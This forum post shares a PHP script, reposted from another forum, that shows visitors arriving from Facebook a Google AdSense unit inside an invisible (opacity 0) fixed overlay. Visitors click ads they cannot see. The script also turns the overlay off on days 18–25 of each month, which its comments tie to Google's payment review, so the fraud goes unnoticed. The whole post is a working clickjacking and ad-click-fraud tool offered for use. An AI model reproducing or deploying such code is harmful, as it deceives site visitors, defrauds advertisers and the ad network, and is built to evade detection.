- Aug 5, 2018
- 149
- 242
- 63
This script has ctr control, control possible days of review by google, and facebook referer.
I found this script on another forum but don't understand how to use this. You can try at your own risk and give me your feedback also. If this works for you please let me know and share method to use this thanks a lot
Don't forget to give me your feedback guys have fun
I found this script on another forum but don't understand how to use this. You can try at your own risk and give me your feedback also. If this works for you please let me know and share method to use this thanks a lot

PHP:
<?php
// Desactivar las 3 condiciones
$demo = true;
// CondiciÛn 1 - Mostrar a usuarios que llegan de Facebook
$referer = $_SERVER['HTTP_REFERER'];
$referer=str_replace("http://", "", $referer);
$referer=str_replace("https://", "", $referer);
$referer=str_replace("www.", "", $referer);
$pieces2 = explode("/", $referer);
$referer=$pieces2[0];
if($referer == 'facebook.com') { $filtro1="si"; } else { $filtro1="no"; }
// CondiciÛn 2 - Control de CTR
if($filtro1=="si") {
$porcentaje = 100;
if(rand(0,100) <= $porcentaje){
$filtro2="si";
}else{
$filtro2="no";
}
}
// CondiciÛn 3 - No ejecutar script oculto si son dÌas cercanos al cobro
if(($filtro1=="si") && ($filtro2=="si")) {
$dia=date("d");
if(($dia=="18") ||
($dia=="19") ||
($dia=="20") ||
($dia=="21") ||
($dia=="22") ||
($dia=="23") ||
($dia=="24") ||
($dia=="25")) { $filtro3="no"; } else { $filtro3="si"; }
}
$codigoAdsense= '<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- ************************* -->
<ins class="adsbygoogle"
style="display:inline-block;width:336px;height:280px"
data-ad-client="ca-pub-*************"
data-ad-slot="**************"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>';
$estilo="<style>
#flotante {
width: 410px;
height: 310px;
top: 39%;
left: 22%;
position: fixed;
;
z-index:999;
opacity: 0;
}
</style>";
if(($filtro1=="si") && ($filtro2=="si") && ($filtro3=="si") || ( $demo == true )) {
echo $estilo;
echo "<div id=\"flotante\">";
echo $codigoAdsense;
echo "</div>";
echo "</div>";
} else {
} ?>
Don't forget to give me your feedback guys have fun